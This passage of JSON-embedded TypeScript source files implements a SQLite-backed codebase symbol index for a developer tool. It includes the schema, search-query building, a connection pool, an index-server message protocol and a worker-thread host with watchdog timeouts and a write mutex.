per-project index directory. By default it lives under the\n * global project dir (`~/.wrongstack/projects/<hash>/codebase-index`).\n */\nexport function resolveIndexDir(projectRoot: string, override?: string): string {\n return override ?? resolveWstackPaths({ projectRoot }).projectCodebaseIndex;\n}\n\n/**\n * Optional index-directory override carried on the run context's `meta` bag.\n */\nexport function codebaseIndexDirOverride(ctx: {\n meta?: Record<string, unknown>;\n}): string | undefined {\n const v = ctx.meta?.['codebaseIndexDir'];\n return typeof v === 'string' ? v : undefined;\n}\n", "import type { DatabaseSync } from 'node:sqlite';\nimport { sqliteCachePragmas } from '@wrongstack/core/utils';\n\nexport function applyIndexStorePragmas(db: DatabaseSync): void {\n try {\n db.exec('PRAGMA journal_mode = WAL');\n db.exec('PRAGMA synchronous = NORMAL');\n db.exec('PRAGMA busy_timeout = 15000');\n db.exec('PRAGMA temp_store = MEMORY');\n const cache = sqliteCachePragmas();\n db.exec(`PRAGMA cache_size = -${cache.cacheSizeKiB}`);\n db.exec(`PRAGMA mmap_size = ${cache.mmapBytes}`);\n db.exec('PRAGMA foreign_keys = ON');\n db.exec('PRAGMA journal_size_limit = 67108864');\n db.exec('PRAGMA wal_autocheckpoint = 1000');\n } catch {\n /* pragmas are best-effort; old SQLite builds without WAL still work */\n }\n}\n", "export const METADATA_TABLE_SQL = `\n CREATE TABLE IF NOT EXISTS metadata (\n key TEXT PRIMARY KEY,\n value TEXT NOT NULL\n );\n`;\n\nexport const CORE_TABLES_SQL = `\n CREATE TABLE IF NOT EXISTS files (\n file TEXT PRIMARY KEY,\n lang TEXT NOT NULL,\n mtime_ms INTEGER NOT NULL,\n symbol_count INTEGER NOT NULL DEFAULT 0,\n last_indexed INTEGER NOT NULL\n );\n CREATE TABLE IF NOT EXISTS symbols (\n id INTEGER PRIMARY KEY,\n lang TEXT NOT NULL,\n kind TEXT NOT NULL,\n name TEXT NOT NULL,\n file TEXT NOT NULL,\n line INTEGER NOT NULL,\n col INTEGER NOT NULL,\n signature TEXT NOT NULL DEFAULT '',\n doc_comment TEXT NOT NULL DEFAULT '',\n scope TEXT NOT NULL DEFAULT '',\n text TEXT NOT NULL DEFAULT '',\n file_fk TEXT NOT NULL\n );\n`;\n\nexport const SYMBOL_INDEX_SQL = [\n 'CREATE INDEX IF NOT EXISTS idx_s_name ON symbols(name)',\n 'CREATE INDEX IF NOT EXISTS idx_s_kind ON symbols(kind)',\n 'CREATE INDEX IF NOT EXISTS idx_s_lang ON symbols(lang)',\n 'CREATE INDEX IF NOT EXISTS idx_s_file ON symbols(file)',\n 'CREATE INDEX IF NOT EXISTS idx_s_lang_kind ON symbols(lang, kind)',\n 'CREATE INDEX IF NOT EXISTS idx_s_file_fk ON symbols(file_fk)',\n 'CREATE INDEX IF NOT EXISTS idx_s_name_id ON symbols(name, id)',\n] as const;\n\nexport const REFS_TABLE_SQL = `\n CREATE TABLE IF NOT EXISTS refs (\n id INTEGER PRIMARY KEY,\n from_id INTEGER NOT NULL,\n to_name TEXT NOT NULL,\n to_id INTEGER,\n call_type TEXT NOT NULL,\n line INTEGER NOT NULL\n );\n`;\n\nexport const REFS_INDEX_SQL = [\n 'CREATE INDEX IF NOT EXISTS idx_r_from ON refs(from_id)',\n 'CREATE INDEX IF NOT EXISTS idx_r_to_id ON refs(to_id)',\n 'CREATE INDEX IF NOT EXISTS idx_r_to_name ON refs(to_name)',\n 'CREATE INDEX IF NOT EXISTS idx_r_call_type ON refs(call_type)',\n] as const;\n\nexport const SYMBOLS_FTS_SQL =\n \"CREATE VIRTUAL TABLE IF NOT EXISTS symbols_fts USING fts5(text, tokenize = 'unicode61')\";\n", "import type { SearchResult, SymbolKind, SymbolLang } from './schema.js';\nimport { lspKindToInternalKind } from './lsp-kind.js';\nimport { escapeLike } from './writer-helpers.js';\n\nexport interface WriterSearchFilter {\n kind?: SymbolKind | undefined;\n lang?: SymbolLang | undefined;\n file?: string | undefined;\n lspKind?: number | undefined;\n}\n\nexport interface WriterSearchRow {\n id: number;\n lang: string;\n kind: string;\n name: string;\n file: string;\n line: number;\n col: number;\n signature: string;\n doc_comment: string;\n text?: string;\n score?: number;\n snippet?: string;\n}\n\nexport function normalizeSearchLimit(limit: number | undefined): number | undefined {\n return typeof limit === 'number' && Number.isFinite(limit)\n ? Math.max(0, Math.trunc(limit))\n : undefined;\n}\n\nexport function buildWriterSearchWhere(\n query: string,\n filter?: WriterSearchFilter | undefined,\n): { where: string; values: unknown[] } | null {\n const conditions: string[] = [];\n const values: unknown[] = [];\n\n let effectiveKind: SymbolKind | undefined = filter?.kind;\n if (filter?.lspKind !== undefined) {\n const mapped = lspKindToInternalKind(filter.lspKind);\n if (mapped !== null) {\n effectiveKind = mapped;\n } else {\n return null;\n }\n }\n\n if (effectiveKind) {\n conditions.push('kind = ?');\n values.push(effectiveKind);\n }\n if (filter?.lang) {\n conditions.push('lang = ?');\n values.push(filter.lang);\n }\n if (filter?.file) {\n conditions.push(\"replace(file, '\\\\', '/') LIKE ? ESCAPE '\\\\'\");\n values.push(`%${escapeLike(filter.file.replace(/\\\\/g, '/'))}%`);\n }\n if (query.trim()) {\n const tokens = query.toLowerCase().split(/\\s+/).filter(Boolean);\n conditions.push(`(${tokens.map(() => 'text LIKE ?').join(' OR ')})`);\n for (const token of tokens) values.push(`%${token}%`);\n }\n\n return { where: conditions.length ? `WHERE ${conditions.join(' AND ')}` : '', values };\n}\n\nexport function mapWriterSearchRow(\n row: WriterSearchRow,\n lspKind: number | undefined,\n score = 0,\n snippet = '',\n): SearchResult {\n return {\n id: row.id,\n lang: row.lang as SymbolLang,\n kind: row.kind as SymbolKind,\n name: row.name,\n file: row.file,\n line: row.line,\n col: row.col,\n signature: row.signature,\n docComment: row.doc_comment,\n score,\n snippet,\n lspKind,\n };\n}\n", "interface PooledIndexStore {\n close(): void;\n}\n\ntype StoreFactory<TStore extends PooledIndexStore> = (\n projectRoot: string,\n opts?: { indexDir?: string | undefined },\n) => TStore;\n\n/**\n * How many warm connections to keep.\n *\n * Each pooled store carries SQLite's page cache and mmap reservation (128MiB\n * and 512MiB respectively on the `balanced` profile \u2014 see\n * `core/src/utils/perf-profile.ts`). The pool used to be unbounded with a\n * no-op `release()`, so every project a long-lived host touched became\n * permanent resident memory. Two keeps the common \"one project, occasionally a\n * second\" case warm; beyond that, reopening is cheap relative to the residency.\n */\nconst DEFAULT_MAX_WARM_STORES = 2;\n\ninterface PoolEntry<TStore> {\n store: TStore;\n /** Outstanding acquire() calls not yet released. Never evict while > 0. */\n refs: number;\n /** Monotonic counter for LRU ordering. */\n lastUsed: number;\n}\n\n/**\n * Warm-connection pool for IndexStore instances.\n *\n * Each (projectRoot, indexDir) pair gets one persisted store. Every read\n * operation (search, stats, graph) acquires the store from the pool instead of\n * opening a fresh SQLite connection, re-parsing the schema, and re-preparing\n * statements. The connection stays warm between calls, subject to\n * {@link DEFAULT_MAX_WARM_STORES}.\n */\nexport class StorePool<TStore extends PooledIndexStore> {\n private readonly stores = new Map<string, PoolEntry<TStore>>();\n private readonly keyByStore = new WeakMap<object, string>();\n private clock = 0;\n\n constructor(\n private readonly createStore: StoreFactory<TStore>,\n private readonly maxWarmStores: number = DEFAULT_MAX_WARM_STORES,\n ) {}\n\n private key(projectRoot: string, indexDir?: string): string {\n return `${projectRoot}\\u0000${indexDir ?? ''}`;\n }\n\n /** Borrow a store. Creates it on first access for this key. */\n acquire(projectRoot: string, opts?: { indexDir?: string | undefined }): TStore {\n const k = this.key(projectRoot, opts?.indexDir);\n let entry = this.stores.get(k);\n if (!entry) {\n const store = this.createStore(projectRoot, { indexDir: opts?.indexDir });\n entry = { store, refs: 0, lastUsed: 0 };\n this.stores.set(k, entry);\n this.keyByStore.set(store as object, k);\n }\n entry.refs++;\n entry.lastUsed = ++this.clock;\n return entry.store;\n }\n\n /**\n * Return the store to the pool. The connection stays warm for reuse, but the\n * pool may now close the least-recently-used *idle* connection to stay within\n * {@link maxWarmStores}. A store with outstanding refs is never closed.\n */\n release(store: TStore): void {\n const k = this.keyByStore.get(store as object);\n const entry = k === undefined ? undefined : this.stores.get(k);\n if (entry && entry.refs > 0) entry.refs--;\n this.trim();\n }\n\n private trim(): void {\n if (this.stores.size <= this.maxWarmStores) return;\n const idle = [...this.stores.entries()]\n .filter(([, entry]) => entry.refs === 0)\n .sort((a, b) => a[1].lastUsed - b[1].lastUsed);\n let overflow = this.stores.size - this.maxWarmStores;\n for (const [k, entry] of idle) {\n if (overflow <= 0) break;\n try {\n entry.store.close();\n } catch {\n /* already closed */\n }\n this.stores.delete(k);\n overflow--;\n }\n }\n\n /** Close every pooled connection and drain the pool. Call on shutdown. */\n closeAll(): void {\n for (const entry of this.stores.values()) {\n try {\n entry.store.close();\n } catch {\n /* already closed */\n }\n }\n this.stores.clear();\n }\n\n /** Remove one store from the pool. Used by tests that need isolation. */\n evict(projectRoot: string, indexDir?: string): void {\n const k = this.key(projectRoot, indexDir);\n const entry = this.stores.get(k);\n if (entry) {\n try {\n entry.store.close();\n } catch {\n /* already closed */\n }\n this.stores.delete(k);\n }\n }\n\n /** True when the pool holds a connection for the given key. */\n has(projectRoot: string, indexDir?: string): boolean {\n return this.stores.has(this.key(projectRoot, indexDir));\n }\n\n /** Number of warm connections currently held. */\n get size(): number {\n return this.stores.size;\n }\n}\n", "import type { OpName, OpShapes } from './worker-protocol.js';\n\n/** Hard ceiling for one newline-delimited IPC message (measured as JS characters). */\nexport const PROJECT_INDEX_SERVER_MAX_FRAME_CHARS = 64 * 1024 * 1024;\n\nexport interface ProjectIndexServerInfo {\n protocolVersion: number;\n buildId: string;\n pid: number;\n projectRoot: string;\n indexDir: string;\n endpoint: string;\n startedAt: string;\n}\n\nexport interface ProjectIndexServerActivity {\n indexing: boolean;\n currentFile: number;\n totalFiles: number;\n generation: number;\n updatedAt: number | null;\n lastError: string | null;\n}\n\nexport interface ProjectIndexServerHealth {\n checkedAt: number;\n uptimeMs: number;\n memory: {\n rss: number;\n heapUsed: number;\n heapTotal: number;\n external: number;\n };\n clients: number;\n activeRequests: number;\n activeWrites: number;\n queuedWrites: number;\n pendingExternalFiles: number;\n watchingExternal: boolean;\n /** Clients currently requesting ownership of the shared external watcher. */\n watchingClients?: number | undefined;\n /** Server-side heartbeat lease applied to connected clients. */\n clientLeaseTimeoutMs?: number | undefined;\n /** Time since the least recently responsive client sent a message. */\n oldestClientIdleMs?: number | undefined;\n activity: ProjectIndexServerActivity;\n}\n\nexport type ProjectServerClientMessage =\n | { type: 'request'; id: number; op: OpName; args: OpShapes[OpName]['args'] }\n | { type: 'cancel'; id: number }\n | { type: 'configure'; id: number; watchExternal: boolean; debounceMs: number }\n | { type: 'ping'; id: number }\n | { type: 'shutdown'; id: number; reason?: string | undefined };\n\nexport type ProjectServerMessage =\n | ({ type: 'hello' } & ProjectIndexServerInfo)\n | { type: 'index-state'; state: ProjectIndexServerActivity }\n | { type: 'response'; id: number; ok: true; result: unknown }\n | { type: 'response'; id: number; ok: false; error: string; errorName?: string | undefined }\n | { type: 'progress'; id: number; current: number; total: number };\n\nexport function encodeProjectServerMessage(message: object): string {\n return `${JSON.stringify(message)}\\n`;\n}\n", "/**\n * Index host \u2014 the main-thread coordinator for all codebase-index operations.\n *\n * Production mode runs every operation (full scans, per-file reindexes,\n * searches, stats) in a dedicated worker thread (`worker.ts`), so the\n * synchronous `node:sqlite` calls and the TypeScript parser can never block\n * the main event loop \u2014 the failure mode that used to freeze terminals is\n * structurally impossible. When the built worker file is not present (tests\n * run from source, exotic runtimes) or `WRONGSTACK_INDEX_INLINE=1` is set,\n * operations fall back to running inline through the same service layer.\n *\n * Concerns owned here, in front of either execution mode:\n *\n * 1. **Serialization** \u2014 every write run (startup scan, per-edit incremental,\n * external file-watch, manual reindex) goes through one process-wide\n * promise-chain mutex so two runs never race the same `index.db` writer.\n * 2. **Debounce** \u2014 rapid successive edits to the same file coalesce, then\n * files that become ready in the same event-loop turn share one index run.\n * 3. **Watchdog** \u2014 every operation is raced against a timeout. In worker\n * mode a timeout hard-terminates the worker (it respawns lazily on the\n * next request); inline it aborts the run's signal. Either way the mutex\n * chain always advances and the promise always settles.\n * 4. **Circuit breaker** \u2014 repeated failures/timeouts pause indexing instead\n * of queuing more work behind a wedged pipeline. See circuit-breaker.ts.\n * 5. **State tracking** \u2014 ready/indexing/progress flags + change listeners\n * for the TUI status chip and the search/stats tools' gating.\n */\n\nimport * as fs from 'node:fs';\nimport { fileURLToPath } from 'node:url';\nimport { Worker } from 'node:worker_threads';\nimport {\n CircuitOpenError,\n type CircuitSnapshot,\n IndexTimeoutError,\n indexCircuitBreaker,\n LockError,\n} from './circuit-breaker.js';\nimport {\n fileGraphService as fileGraphServiceInline,\n indexService,\n packageGraphService as packageGraphServiceInline,\n searchService,\n statsService,\n symbolGraphService as symbolGraphServiceInline,\n} from './index-service.js';\nimport { isIndexablePath } from './languages.js';\nimport {\n callProjectIndexServer,\n checkProjectIndexServerHealth,\n closeProjectIndexServerClients,\n ensureProjectIndexServer,\n getProjectIndexServerConnectionState,\n onProjectIndexServerConnectionStateChange,\n type ProjectIndexDaemonAvailability,\n type ProjectIndexServerClientHealth,\n type ProjectIndexServerConnectionState,\n type ProjectIndexServerShutdownResult,\n resolveProjectIndexDaemonAvailability,\n shutdownProjectIndexServer,\n} from './project-server-client.js';\nimport type { CodeMapGraph, IndexResult, IndexStats } from './schema.js';\nimport type {\n FileGraphOpArgs,\n HostToWorker,\n IndexOpArgs,\n OpName,\n OpShapes,\n SearchOpArgs,\n SearchOpResult,\n StatsOpArgs,\n SymbolGraphOpArgs,\n WorkerToHost,\n} from './worker-protocol.js';\nimport { indexStorePool } from './writer.js';\n\n// \u2500\u2500\u2500 Watchdog timeouts \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\n/**\n * Watchdog timeout for a full (startup / manual) index run.\n *\n * Bumped from 120s \u2192 240s in 0.284.x: large monorepos (WrongStack itself\n * has ~3k TS files) regularly exceed 120s on the first run on cold SSD +\n * Windows Defender real-time scanning. The watchdog only fires when the\n * worker is truly stuck \u2014 it does not slow down the happy path.\n */\nconst DEFAULT_FULL_INDEX_TIMEOUT_MS = 240_000;\n/** Watchdog timeout for one incremental reindex batch. */\nconst DEFAULT_INCREMENTAL_TIMEOUT_MS = 60_000;\n/**\n * Watchdog timeout for read operations (search / stats).\n *\n * Reads normally finish quickly, but a cold or contended SQLite index can take\n * longer than the former 8s budget, especially on large Windows workspaces.\n * Keep this below the outer tool timeout so callers receive the structured\n * IndexTimeoutError when the worker is genuinely wedged.\n */\nconst DEFAULT_QUERY_TIMEOUT_MS = 30_000;\n\n// \u2500\u2500\u2500 Indexing lifecycle state \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n// Process-wide counters so codebase-search / codebase-stats can gate on\n// readiness and UIs can show an indexing indicator.\nlet _ready = false;\nlet _indexing = false;\nlet _currentFile = 0;\nlet _totalFiles = 0;\nlet _lastError: string | null = null;\n\n/** True once the first full-project index has completed (success or failure). */\nexport function isIndexReady(): boolean {\n return _ready;\n}\n\n/**\n * Mark the index as ready so downstream tools (codebase-search, codebase-stats)\n * don't gate on a startup index that never ran.\n */\nexport function setIndexReady(): void {\n _ready = true;\n}\n\n/** True while an index build is actively running. */\nexport function isIndexing(): boolean {\n return _indexing;\n}\n\n/** Current indexing progress: { currentFile, totalFiles, ready, indexing, circuit }. */\nexport function getIndexState(): {\n ready: boolean;\n indexing: boolean;\n currentFile: number;\n totalFiles: number;\n lastError: string | null;\n /** Detached per-project server connection owned by this client process. */\n server: ProjectIndexServerConnectionState;\n /** Circuit-breaker state \u2014 `open` means indexing is paused after repeated failures. */\n circuit: CircuitSnapshot;\n} {\n const server = getProjectIndexServerConnectionState();\n const remoteActivity = server.activity;\n const remoteIndexing = remoteActivity?.indexing ?? false;\n return {\n ready: _ready || (remoteActivity?.generation ?? 0) > 0,\n indexing: _indexing || remoteIndexing,\n currentFile: remoteIndexing ? (remoteActivity?.currentFile ?? 0) : _currentFile,\n totalFiles: remoteIndexing ? (remoteActivity?.totalFiles ?? 0) : _totalFiles,\n lastError: remoteActivity?.lastError ?? _lastError,\n server,\n circuit: indexCircuitBreaker.snapshot(),\n };\n}\n\n/**\n * Optional callback fired on every lifecycle transition (started, progress,\n * completed, failed). Plug into the event bus or a TUI dispatcher to surface\n * the indexing state in real time.\n */\ntype IndexStateListener = (state: ReturnType<typeof getIndexState>) => void;\nlet _listeners: IndexStateListener[] = [];\n\nexport function onIndexStateChange(listener: IndexStateListener): () => void {\n _listeners.push(listener);\n return () => {\n _listeners = _listeners.filter((l) => l !== listener);\n };\n}\n\nfunction emitState() {\n const state = getIndexState();\n for (const l of _listeners) l(state);\n}\n\n// Server lifecycle changes are part of index state even while no indexing job\n// is active, so the TUI can keep a truthful connected/offline/error indicator.\nonProjectIndexServerConnectionStateChange(() => emitState());\n\nfunction setIndexProgress(current: number, total: number) {\n _currentFile = current;\n _totalFiles = total;\n emitState();\n}\n\n// \u2500\u2500\u2500 Worker management \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\ninterface PendingRpc {\n resolve: (value: unknown) => void;\n reject: (err: unknown) => void;\n onProgress?: ((current: number, total: number) => void) | undefined;\n}\n\nlet worker: Worker | null = null;\nlet workerUnavailable = false;\nlet nextRpcId = 1;\nconst pending = new Map<number, PendingRpc>();\n\n/**\n * Locate the built worker file. The host is bundled into several entry points\n * (`dist/index.js`, `dist/builtin.js`, `dist/codebase-index/index.js`), so the\n * worker is probed at both relative locations. From source (vitest) neither\n * `.js` exists \u2192 inline mode, which keeps tests hermetic and mockable.\n */\nfunction resolveWorkerUrl(): URL | null {\n if (process.env['WRONGSTACK_INDEX_INLINE']) return null;\n for (const rel of ['./worker.js', './codebase-index/worker.js']) {\n try {\n const url = new URL(rel, import.meta.url);\n if (url.protocol === 'file:' && fs.existsSync(fileURLToPath(url))) return url;\n } catch {\n /* try the next candidate */\n }\n }\n return null;\n}\n\nfunction failAllPending(err: unknown): void {\n const entries = [...pending.values()];\n pending.clear();\n for (const p of entries) p.reject(err);\n}\n\nfunction ensureWorker(): Worker | null {\n if (worker) return worker;\n if (workerUnavailable) return null;\n const url = resolveWorkerUrl();\n if (!url) {\n workerUnavailable = true;\n return null;\n }\n try {\n const w = new Worker(url, { name: 'wstack-codebase-index' });\n // The worker must never keep the process alive on its own.\n w.unref();\n w.on('message', (msg: WorkerToHost) => {\n if (msg.type === 'progress') {\n pending.get(msg.id)?.onProgress?.(msg.current, msg.total);\n return;\n }\n const entry = pending.get(msg.id);\n if (!entry) return; // already timed out / cancelled\n pending.delete(msg.id);\n if (msg.ok) entry.resolve(msg.result);\n else {\n const error =\n msg.errorName === 'LockError' ? new LockError(msg.error) : new Error(msg.error);\n if (msg.errorName && msg.errorName !== 'Error') {\n (error as { name: string }).name = msg.errorName;\n }\n entry.reject(error);\n }\n });\n w.on('error', (err) => {\n // Ignore late events from a worker already terminated/replaced by the\n // watchdog; they must not reject RPCs owned by its successor.\n if (worker !== w) return;\n worker = null;\n failAllPending(err);\n });\n w.on('exit', () => {\n if (worker !== w) return;\n worker = null;\n failAllPending(new Error('codebase-index worker exited'));\n });\n worker = w;\n return w;\n } catch {\n // Spawn failed (no worker_threads, sandbox, \u2026) \u2014 fall back to inline for\n // the rest of the process lifetime.\n workerUnavailable = true;\n return null;\n }\n}\n\n/** Hard-kill a wedged worker. It respawns lazily on the next operation. */\nfunction terminateWorker(reason: unknown): void {\n const w = worker;\n worker = null;\n failAllPending(reason);\n if (w) void w.terminate().catch(() => {});\n}\n\n/**\n * Tear down the index host (worker + pending debounces). Call on process\n * shutdown; safe to call when nothing is running.\n */\nexport async function shutdownCodebaseIndexHost(): Promise<void> {\n cancelPendingReindexes();\n closeProjectIndexServerClients();\n indexStorePool.closeAll();\n const w = worker;\n worker = null;\n failAllPending(new Error('codebase-index host shut down'));\n workerUnavailable = false; // a future call may spawn a fresh worker\n if (w) {\n try {\n // On Windows SQLite files remain locked until the worker has actually\n // exited. Exposing the termination promise lets deterministic teardown\n // wait before removing an index directory.\n await w.terminate();\n } catch {\n // Shutdown is best-effort, matching watchdog termination semantics.\n }\n }\n}\n\ninterface CallOpts {\n timeoutMs: number;\n signal?: AbortSignal | undefined;\n onProgress?: ((current: number, total: number) => void) | undefined;\n}\n\n/** Endpoints already reported as unbindable \u2014 warn once per endpoint, not per call. */\nconst warnedInvalidEndpoints = new Set<string>();\n\nfunction warnEndpointInvalidOnce(\n availability: Extract<ProjectIndexDaemonAvailability, { kind: 'endpoint-invalid' }>,\n): void {\n if (warnedInvalidEndpoints.has(availability.endpoint)) return;\n warnedInvalidEndpoints.add(availability.endpoint);\n process.stderr.write(\n `codebase-index: socket path is ${availability.byteLength} bytes, over this platform's ` +\n `${availability.maxBytes}-byte sun_path limit (${availability.endpoint}). ` +\n `Subsequent calls will reject until TMPDIR is shortened to restore the shared daemon.\\n`,\n );\n}\n\n/**\n * Run one operation, in the worker when available, inline otherwise. Both\n * paths share the watchdog: the returned promise ALWAYS settles within\n * `timeoutMs`, and a timeout in worker mode terminates the (possibly wedged\n * in synchronous code) worker \u2014 something an in-process watchdog can never do.\n */\nfunction callIndexOp<O extends OpName>(\n op: O,\n args: OpShapes[O]['args'],\n opts: CallOpts,\n): Promise<OpShapes[O]['result']> {\n // Production builds route every operation through one detached server per\n // project. The worker/inline path below still exists for source-tree tests\n // and exotic runtimes, but it has to be asked for: reaching it because the\n // build could not be located would give this process a private FTS5 database\n // and no indication that it had stopped sharing the project's index.\n const availability = resolveProjectIndexDaemonAvailability(args.projectRoot, args.indexDir);\n if (availability.kind === 'available') {\n return callProjectIndexServer(op, args, opts);\n }\n if (availability.kind === 'missing-build') {\n return Promise.reject(\n new Error(\n 'Built codebase-index project server is unavailable. Build @wrongstack/tools, ' +\n 'or set WRONGSTACK_INDEX_INLINE=1 to explicitly accept a process-local index.',\n ),\n );\n }\n if (availability.kind === 'endpoint-invalid') {\n // The daemon cannot bind this endpoint (socket path over the platform's\n // sun_path limit \u2014 macOS's long per-user TMPDIR is the known trigger).\n // Spawning would die silently (`stdio: 'ignore'`), so explicitly reject\n // here instead of falling through to the in-process index: silently\n // degrading would strip every connected client of the shared per-project\n // daemon and they would all open their own private FTS5 databases, with\n // no indication that they had stopped sharing one.\n warnEndpointInvalidOnce(availability);\n return Promise.reject(\n new Error(\n `codebase-index: socket path is ${availability.byteLength} bytes, over this platform's ` +\n `${availability.maxBytes}-byte sun_path limit (${availability.endpoint}). ` +\n `Set a shorter TMPDIR to relocate the shared daemon, ` +\n `or set WRONGSTACK_INDEX_INLINE=1 to explicitly opt into a process-local index.`,\n ),\n );\n }\n\n const w = ensureWorker();\n if (!w) return callInline(op, args, opts);\n\n if (opts.signal?.aborted) {\n return Promise.reject(\n opts.signal.reason instanceof Error ? opts.signal.reason : new Error('Indexing cancelled'),\n );\n }\n\n return new Promise<OpShapes[O]['result']>((resolve, reject) => {\n const id = nextRpcId++;\n\n const timer = setTimeout(() => {\n pending.delete(id);\n const err = new IndexTimeoutError(\n `Index ${op} exceeded its ${opts.timeoutMs}ms watchdog timeout`,\n );\n // A wedged worker (synchronous sqlite wait, pathological parse) cannot\n // be cooperatively cancelled \u2014 kill it; it respawns on the next call.\n terminateWorker(err);\n reject(err);\n }, opts.timeoutMs);\n timer.unref?.();\n\n const onAbort = () => {\n // Cooperative cancel; the worker aborts the op's signal and responds\n // with an error. The watchdog stays armed as the backstop.\n w.postMessage({ type: 'cancel', id } satisfies HostToWorker);\n };\n opts.signal?.addEventListener('abort', onAbort, { once: true });\n\n const cleanup = () => {\n clearTimeout(timer);\n opts.signal?.removeEventListener('abort', onAbort);\n };\n pending.set(id, {\n resolve: (v) => {\n cleanup();\n resolve(v as OpShapes[O]['result']);\n },\n reject: (e) => {\n cleanup();\n reject(e);\n },\n onProgress: opts.onProgress,\n });\n\n w.postMessage({ type: 'request', id, op, args } satisfies HostToWorker);\n });\n}\n\n/** Inline fallback: same service code, raced against the same watchdog. */\nasync function callInline<O extends OpName>(\n op: O,\n args: OpShapes[O]['args'],\n opts: CallOpts,\n): Promise<OpShapes[O]['result']> {\n const ac = new AbortController();\n const onOuterAbort = () => ac.abort(opts.signal?.reason ?? new Error('Indexing cancelled'));\n if (opts.signal?.aborted) onOuterAbort();\n else opts.signal?.addEventListener('abort', onOuterAbort, { once: true });\n\n let timer: ReturnType<typeof setTimeout> | undefined;\n const watchdog = new Promise<never>((_, reject) => {\n timer = setTimeout(() => {\n const err = new IndexTimeoutError(\n `Index ${op} exceeded its ${opts.timeoutMs}ms watchdog timeout`,\n );\n ac.abort(err);\n reject(err);\n }, opts.timeoutMs);\n timer.unref?.();\n });\n\n const job = async (): Promise<OpShapes[O]['result']> => {\n switch (op) {\n case 'index':\n return (await indexService(args as IndexOpArgs, {\n signal: ac.signal,\n onProgress: opts.onProgress,\n })) as OpShapes[O]['result'];\n case 'search':\n return searchService(args as SearchOpArgs) as OpShapes[O]['result'];\n case 'stats':\n return statsService(args as StatsOpArgs) as OpShapes[O]['result'];\n case 'packageGraph':\n return packageGraphServiceInline(args as StatsOpArgs) as OpShapes[O]['result'];\n case 'fileGraph':\n return fileGraphServiceInline(args as FileGraphOpArgs) as OpShapes[O]['result'];\n case 'symbolGraph':\n return symbolGraphServiceInline(args as SymbolGraphOpArgs) as OpShapes[O]['result'];\n default:\n throw new Error(`unknown index op: ${String(op)}`);\n }\n };\n\n try {\n return await Promise.race([job(), watchdog]);\n } finally {\n if (timer) clearTimeout(timer);\n opts.signal?.removeEventListener('abort', onOuterAbort);\n }\n}\n\n// \u2500\u2500\u2500 Process-wide write mutex \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n// A single promise chain. Each enqueued job awaits the previous one's settle\n// (success OR failure) before running, so a thrown job never wedges the chain.\n// Only write runs (index) take the mutex; searches/stats are WAL reads.\nlet chain: Promise<unknown> = Promise.resolve();\n\nfunction withMutex<T>(job: () => Promise<T>): Promise<T> {\n const run = chain.then(job, job);\n // Keep the chain alive regardless of this job's outcome.\n chain = run.then(\n () => undefined,\n () => undefined,\n );\n return run;\n}\n\n/** Build the fail-fast error thrown while the circuit is open. */\nfunction circuitOpenError(): CircuitOpenError {\n const c = indexCircuitBreaker.snapshot();\n return new CircuitOpenError(\n 'Codebase indexing is temporarily paused after repeated failures' +\n (c.lastFailure ? ` (last: ${c.lastFailure})` : '') +\n (c.cooldownRemainingMs > 0\n ? `; auto-retry in ${Math.ceil(c.cooldownRemainingMs / 1000)}s`\n : '') +\n '. Use /codebase-reindex to retry now.',\n );\n}\n\n// \u2500\u2500\u2500 Debounce \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nconst DEFAULT_DEBOUNCE_MS = 400;\nconst debounceTimers = new Map<string, ReturnType<typeof setTimeout>>();\ninterface ReadyReindexBatch {\n projectRoot: string;\n indexDir?: string | undefined;\n files: Set<string>;\n timeoutMs: number;\n onErrors: Set<(err: unknown) => void>;\n flush?: ReturnType<typeof setImmediate> | undefined;\n}\nconst readyReindexBatches = new Map<string, ReadyReindexBatch>();\n\nfunction debounceKey(projectRoot: string, indexDir: string | undefined, file: string): string {\n return JSON.stringify([projectRoot, indexDir ?? '', file]);\n}\n\nfunction reindexBatchKey(projectRoot: string, indexDir: string | undefined): string {\n return JSON.stringify([projectRoot, indexDir ?? '']);\n}\n\nfunction flushReadyReindexBatch(key: string): void {\n const batch = readyReindexBatches.get(key);\n if (!batch) return;\n readyReindexBatches.delete(key);\n\n if (!indexCircuitBreaker.allowRequest()) {\n const error = circuitOpenError();\n for (const onError of batch.onErrors) onError(error);\n return;\n }\n\n void withMutex(() =>\n callIndexOp(\n 'index',\n {\n projectRoot: batch.projectRoot,\n files: [...batch.files].sort(),\n indexDir: batch.indexDir,\n },\n { timeoutMs: 